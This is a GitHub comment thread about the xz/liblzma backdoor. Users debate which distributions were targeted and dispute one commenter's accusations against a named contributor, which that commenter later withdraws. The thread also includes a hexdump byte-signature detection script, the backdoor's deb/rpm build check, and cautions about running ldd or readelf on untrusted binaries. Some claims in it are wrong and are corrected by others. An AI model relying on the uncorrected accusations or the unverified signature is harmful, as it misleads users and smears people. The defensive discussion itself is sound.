Ifunc also they touched

@sommio
Copy link

sommio commented Mar 30, 2024

from Witopia VPN

Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland China.

We don't use this kind of VPN and usually use proxy protocols designed to bypass national firewalls
in conjunction with rule-based proxy client (eg.sing-box, Surge) .

The provider delivers it in the form of providing a proxy url and key, similar to how socks5 proxy providers are delivered.

@Z-nonymous
Copy link

Well, I'm also contributing to Linux From Scratch and therefore "know" xry111 quite well from various conversations. While he really is terribly productive and frightfully competent in various areas, I can assure you that he certainly is not part of any conspiracy here, but a real person. I personally vouche for him that he takes no part whatsoever in this backdoor issue.

Thanks, I know about the LFS community for a while, I use Linux since 25+ years. I don't say there are necessarily bad actors. Are you able to understand exactly what Andres Freund disclosed in details ?
I put more details later than the post you quoted in this gist.
Can you vouch for his commit on systemd and understand the implications this entails ?

@duracell
Copy link

duracell commented Mar 30, 2024

@Z-nonymous

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

Or they just fixed real bugs.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

Having concerns over "this" and doing wild accusations are two complete different things. It's good to get a clear picture and checking every corner, but to accuse somebody without ANY proof is not helpful and will get you ignored.

The Backdoor specifically targets building from the release. That targets Gentoo, LFS.

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.

So please, don't push against people and don't write something which is clearly wrong.

@LaRevoltage
Copy link

@Z-nonymous

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

Or they just fixed real bugs.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

Having concerns over "this" and doing wild accusations are two complete different things. It's good to get a clear picture and checking every corner, but to accuse somebody without ANY proof is not helpful and will get you ignored.

Sorry? I didn't accuse any individual, all what I did, was point, that it is unlikely that such sophisticated delivery and payload are made by a developer with regular exploitation knowledge. And that was my reply to the initial commit to xz, not the systemd the OP is talking about.

@timtas
Copy link

timtas commented Mar 30, 2024

Loongson

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

For the context, kernel dev for commercial UNIX experience 25 years ago, unfortunately not familiar enough with Linux kernel. Even in large companies few people have the depth of knowledge to maintaining of a very wide knowledge to cover all OS. People are all specialised on one component. Once can get easily tricked into fixing what is reported as a bug when in fact it's been a problem injected somewhere else. It's the very common case of fixing a side effect where it appears instead of where it is caused.

The Backdoor specifically targets building from the release. That targets Gentoo, LFS. xry111 is part of that LFS community. xry111 says he's not a maintainer of xz. Sure he isn't, he can somehow commit on systemd, targeted by this backdoor (when ssh on systemd). This is suspicious removing pure from a function declaration. a Pure function are a sanity check for build time flags so that we know the function isn't supposed to change any variable or IO. Now it's gone. Compiler can make specific more complex optimizations now at build time.

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

ALso targeting gentoo and LFS, then all those seemingly infossenive LLVM changes cmake changes to address random bugs maybe not reproduced, just reported by someone also advising how to fix it...

I just looked at this systemd issue and fix, and from what I see, it was a real, reproducible hang and several (not totally random) compiler versions/architechture combinations.

xry111 does contribute quite a lot on Linux From Scratch, but hardly ever creates patches on his own, and while he certainly is repsonsible for a lot of changes, they are all quite sensible, well-reasoned and reproducible. They also never have anything to do whith this Loongson thingy. Regarding systemd, he pushed through the switch from eudev to systemd-udev, as eudev was badly maintained, and while I did not like it, I had to agree that it makes sense. He likes systemd, while I hate it, but even that, while clearly obvious, never became an issue. I'd be very, very surprised if he had anything to do with that backdoor.

@xry111
Copy link

xry111 commented Mar 30, 2024

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

What? Do you really understand what the pure attribute does?

It is an optimization attribute, not a diagnostic attribute. It means the programmer guarantees that the function does not modify the global state, not the compiler guarantees that.

Ideally it should be both an optimization attribute and a diagnostic attribute, but the diagnostic is not implemented yet: https://gcc.gnu.org/PR18487

So if you use pure attribute on a non-pure function, the compiler will not emit any diagnostics and it will silently generate broken code.

@Z-nonymous
Copy link

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.

So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

@waterkip
Copy link

Somehow xry111 removes that on the pretense that some random person mentions a bug with systemd hanging on Linux using specific versions of this and that... See associated PR systemd/systemd#27595 for issue systemd/systemd#26395. Now systemd bus_message_type_from_string(const char *s, uint8_t *u) be changed to modify parameters or globals variables or do IO. But somehow nobody worried, it gets bundled with other 'sheanigans', and it's in systemd for future use.... Niw if we change bus_message_type_from_string(const char *s, uint8_t *u) it won't trigger sanity checks that something bad happened.

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

@duracell
Copy link

@Z-nonymous

It could be anyone, NSA, criminals, terrorists, even a highly motivated individual. Again, I want apologize if in the suspicious activity I may have upset some honest contributors, they can have been tricked in fixing engineered bug that aims at validating a bad PR.

Or they just fixed real bugs.

I'm glad I'm not the only one having real converns over this. @LaRevoltage even mentionned a lot of the things I omitted to try to stick to the point.

Having concerns over "this" and doing wild accusations are two complete different things. It's good to get a clear picture and checking every corner, but to accuse somebody without ANY proof is not helpful and will get you ignored.

Sorry? I didn't accuse any individual, all what I did, was point, that it is unlikely that such sophisticated delivery and payload are made by a developer with regular exploitation knowledge. And that was my reply to the initial commit to xz, not the systemd the OP is talking about.

Sorry, it just pinged you because of the quote from Z-nonymous. I meant this person with my reply.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

What? Do you really understand what the pure attribute does?

It is an optimization attribute, not a diagnostic attribute. It means the programmer guarantees that the function does not modify the global state, not the compiler guarantees that.

Ideally it should be both an optimization attribute and a diagnostic attribute, but the diagnostic is not implemented yet: https://gcc.gnu.org/PR18487

So if you use pure attribute on a non-pure function, the compiler will not emit any diagnostics and it will silently generate broken code.

Ooooh commercial Unix here from 25 years ago, so it was different back in my days with non-GNU compiler.

@xry111
Copy link

xry111 commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS.

The obfuscated script only do things when building a .deb or .rpm package. We don't do it for LFS so the script is basically latent.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

Thanks; I didn't know pure wasn't triggering on GNU C anyway. Not sure about code checkers some repos might have as to validate code.

@timtas
Copy link

timtas commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

Yes, "we" (LFS) dowload the source directly from upstream, this can be github, kernel.org or whatever. On github, it is usually the created tarballs, so LFS "was" affected, but only the very early adapters of the devel version of the book, and only the systemd folks, LFS has a sysv and a systemd variant. I was not affected, as I'm still on xz 5.4.1, and on sysv.

As for how packages are installed: LFS explicitely is no distro, but a book that describes how to create a Linux system. Therefore, the book goes for:

./configure
make
make install

or the meson/ninja equivalent.

A lot of people (including me) however integrate a package manager for installation, I use my own, I doubt anyone uses dpkg or rpm.

@znkkw
Copy link

znkkw commented Mar 30, 2024

From the perspective of Loongson Company, there is no reason for them to extensively modify the fundamental components of Linux merely to add a backdoor. Maybe we should just stop accusing specific country, company, And just focus on this person who write this; and how to stop this.

In the end of the day, this project was maintained by one single individual, a single point of failure

@duracell
Copy link

duracell commented Mar 30, 2024

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

If you use e.g., Debian, they built it on their server and then distribute the deb package.
I'm not sure which source they usually do, but the bad actor puts a warning in, that the source packages should not be used. I think to convince the maintainer to use the release tar-balls.

With:

  • the .deb and .rpm checks in the exploit code
  • the pushing to update to the current version in at least the ubuntu mailinglist
  • asking in the irc about relase mechanism

it's clearly the case that the main target are these deb/rpm based distributions.

So again, please be calm. It's okay to ask, but you throw so much stuff around, it's not helpful.

@xry111
Copy link

xry111 commented Mar 30, 2024

That's totally wrong. If you read the gist and/or the original post, you would learn that it targets the building of .deb and .rpm files. Neither are using this package formats. Gentoo also don't patch openssh with systemd-notify. So the current known exploit path is not working on gentoo at all.
So please, don't push against people and don't write something which is clearly wrong.

Right, my comment was innacurate.

This injects an obfuscated script to be executed at the end of configure. This
script is fairly obfuscated and data from "test" .xz files in the repository.

So that's how packages are installed if you use gentoo or LFS. since you're building all from source. Not sure where these "distro" get the source from, do they download releases from github ? Release that is specifically payloaded...

Yes, "we" (LFS) dowload the source directly from upstream, this can be github, kernel.org or whatever. On github, it is usually the created tarballs, so LFS "was" affected, but only the very early adapters of the devel version of the book, and only the systemd folks, LFS has a sysv and a systemd variant. I was not affected, as I'm still on xz 5.4.1, and on sysv.

As for how packages are installed: LFS explicitely is no distro, but a book that describes how to create a Linux system. Therefore, the book goes for:

./configure make make install

or the meson/ninja equivalent.

A lot of people (including me) however integrate a package manager for installation, I use my own, I doubt anyone uses dpkg or rpm.

And even on systemd we don't patch sshd for systemd notification. The instruction is here:

https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html

We just tell people to download the upstream release and build it, w/o patching.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo)
Sorry for beein incorrect.

@xry111
Copy link

xry111 commented Mar 30, 2024

he can somehow commit on systemd

I cannot. The PR was reviewed and merged by @yuwata.

This page even says: xry111 authored and yuwata committed on May 10, 2023.

@xry111
Copy link

xry111 commented Mar 30, 2024

It seems like that random person made a lot of effort to reproduce a bug and bisect it. I don't agree with you.

Thanks; I didn't know pure wasn't triggering on GNU C anyway. Not sure about code checkers some repos might have as to validate code.

It had not (or the issue would have been found by the checker and fixed before systemd hangs on my machine). Not sure about the status quo.

@duracell
Copy link

duracell commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

No.
The code is:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
which is testing if you're building for a debian or rpm package!
So it's not "build rpm or deb or anything", it's "build rpm or deb", no anything.
Please, read the initial posting (or even the gist, it's also in there).

Again, if you don't know, ask questions, but don't assume things which are already known better.
Or, if you know things which are not yet in the original message or the gist, or which prove them wrong, post them.
Nearly all of your comments were wrong. Be more careful. Please!

@timtas
Copy link

timtas commented Mar 30, 2024

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

Well, as it stands now, only rpm and dep based distros are targeted, and neither Gentoo or LFS go in that category. As I said, I doubt very much any LFS user uses dkpg or rpm, and as xry111, we don't even use the the systemd notification patch for openssh.

I can assure you 100% percent that xry111 would have had the chance to put this patch into the book, but he didn't, 100%. Do you need more proof?

@Z-nonymous
Copy link

And even on systemd we don't patch sshd for systemd notification. The instruction is here:

https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html

We just tell people to download the upstream release and build it, w/o patching.

Yes there's multiple layers for it to work; many requirements in many places. Maybe it's targeting more specific systems than initially thought.

Still the backdoor vector is ssh (openssl), xv/crc, systemd. when you made contributions there.

I can't see PR86 anymore it seemed lgtm from not beeing familiar with the code, but since detected bad actor on xv package approved some changes to crc code while the crc seem to be used here for the attack.
One can emit the hypothesis (that can't be proven) that it could have well be to get you in and you only put in further code in there later.

@StefanCristian
Copy link

it's clearly the case that the main target are these deb/rpm based distributions.

Well, the target is actually anyone who builds from code, so any distro that will build rpm or deb or anything, and anyone building from scratch (LFS/gentoo) Sorry for beein incorrect.

No, the attacker's target were deb and rpm distros, since they're mainly the ones who patched SSHD for systemd-notifications.

Read https://www.openwall.com/lists/oss-security/2024/03/29/4

The source-based distros are the main enemies here for the attackers, because they're the ones most prone to find these problems. Thanks to @xry111 's contributions in these areas the systems will be much more hardened from now on.

Your accusations are quite dubious, since we're talking about a anonymous attacker in cahoots with a very known & public contributor.
We can very well ask about your interest in keeping these unfounded accusations alive, feels like your intentions are less than noble.

@xry111
Copy link

xry111 commented Mar 30, 2024

I can't see PR86 anymore

https://paste.mozilla.org/ynf2jvsh for auditors. I've not modified a thing since it was approved.

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

I cannot. The PR was reviewed and merged by @yuwata.

This page even says: xry111 authored and yuwata committed on May 10, 2023.

I know You can not merge but you can commit.
I saw @yumata merge it along with some other commits.

Maybe he can tell what he things of changing a function that's supposed to be pure to be changed to regular function.

@Ninpo
Copy link

Ninpo commented Mar 30, 2024

And even on systemd we don't patch sshd for systemd notification. The instruction is here:
https://www.linuxfromscratch.org/blfs/view/systemd/postlfs/openssh.html
We just tell people to download the upstream release and build it, w/o patching.

Yes there's multiple layers for it to work; many requirements in many places. Maybe it's targeting more specific systems than initially thought.

Still the backdoor vector is ssh (openssl), xv/crc, systemd. when you made contributions there.

I can't see PR86 anymore it seemed lgtm from not beeing familiar with the code, but since detected bad actor on xv package approved some changes to crc code while the crc seem to be used here for the attack. One can emit the hypothesis (that can't be proven) that it could have well be to get you in and you only put in further code in there later.

I'd pay good money if you'd shut up

@xry111
Copy link

xry111 commented Mar 30, 2024

I cannot. The PR was reviewed and merged by @yuwata.
This page even says: xry111 authored and yuwata committed on May 10, 2023.
I know You can not merge but you can commit.
I saw @yumata merge it along with some other commits.

Maybe he can tell what he things of changing a function that's supposed to be pure to be changed to regular function.

Because it isn't supposed to be pure (in GNU C).

The entire systemd project relies on GNU extensions so non-GNU compilers just won't work. Please don't quote specs from other compilers.

@Z-nonymous
Copy link

Ok, so I'll apologize here, for just coming with suspicions instead of actual proofs. As one said I should have asked questions for some of the details, and my attitude was not correct.

@kbahey
Copy link

kbahey commented Mar 30, 2024

Does anyone know if Ubuntu 22.04 Server is affected, or what command I could run to know if I am affected? I'm not familiar with detecting installed library versions.

Like you, I am also running 22.04 LTS.

I think it is not affected, based on the the following:

First:

$ dpkg -l | grep lzma
ii  liblzma5:amd64 5.2.5-2ubuntu1

The version of xz is 5.2.5. The exploit was first introduced in 5.6.

Second:

if hexdump -ve '1/1 "%.2x"' /lib/x86_64-linux-gnu/liblzma.so.5 | 
grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then  
  echo "Probably vulnerable"
else 
  echo "Likely not vulnerable"
fi

This shell script shows that the library does not have the exploit's malicious function signature.

One reason I stay with LTS releases only is to reduce the amount of change in a given time period.

@schkwve
Copy link

schkwve commented Mar 30, 2024

I know You can not merge but you can commit.

That's how contributing works though... You fork a repository, commit to the forked repository, and open a PR (ask the original repository maintainers to merge the two branches together).

@dguglielmi
Copy link

dguglielmi commented Mar 30, 2024

Lasse Collin have published a page https://tukaani.org/xz-backdoor/

I think he spotted something else targeting cmake builds (in future)

https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00

@duracell
Copy link

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

@xry111
Copy link

xry111 commented Mar 30, 2024

why does the gist push updating so hard when there is so much unknown? To me it sounds like the only sure shot for the moment is to reinstall with downgraded two years old xz and stop using patched opensshd. Unless you weren't affected, which most people weren't (quick check: run ldd $(which sshd) and see if liblzma is included, for me it's not, and xz --version is below 5.6 even though i'm pretty bleeding edge)

Be careful with ldd, read "Please do not use ldd on untrusted binaries" from the gist. There is a detect.sh script which should be used instead.

But the script invokes ldd too :(

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

However I don't know in this case we may consider sshd "trusted" or not (liblzma.so is definitely untrusted).

We can use readelf -d /usr/sbin/sshd which will show libsystemd if the systemd-notify patch used. Note that running readelf -d on untrusted binaries is also dangerous (the Binutils maintainers say it's unsafe to do so w/o sandboxing), but we may consider sshd trusted here (liblzma.so is definitely untrusted)...

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

That's how contributing works though... You fork a repository, commit to the forked repository, and open a PR (ask the original repository maintainers to merge the two branches together).

Yes, I know, I only checked some PR/commits, and some of same group of persons seem to approve each other's PR, from random incoming bugs. but they might very well be legit anyway. I have seen mostly good commits and PRs anyway. But it's taking a huge time.

So for now I'm assuming I'm completely wrong, and I was paranoid. I'll try to do spend proper time to review or leave it to each maintainer to check code.

Again I apologize for the inappropriate conduct I had.

@Baadvo
Copy link

Baadvo commented Mar 30, 2024

@duracell
Copy link

But the script invokes ldd too :(

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

What? That's odd, I looked at a detect script which didn't use ldd. Sorry, then I mixed it up with this one. :(
Thanks for the clarification!

@vlad-ivanov-name
Copy link

Regarding this signature:

f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410

Has anyone been able to actually confirm that this function/binary includes the functionality described in the report? I'm looking at a matching binary and the function that starts with those bytes just chooses different implementation of CRC calculation based on the available instruction set, for which it does indeed call CPUID.

The report also claims some symbols were obfuscated in 5.6.1 but the symbol table looks identical with 5.6.0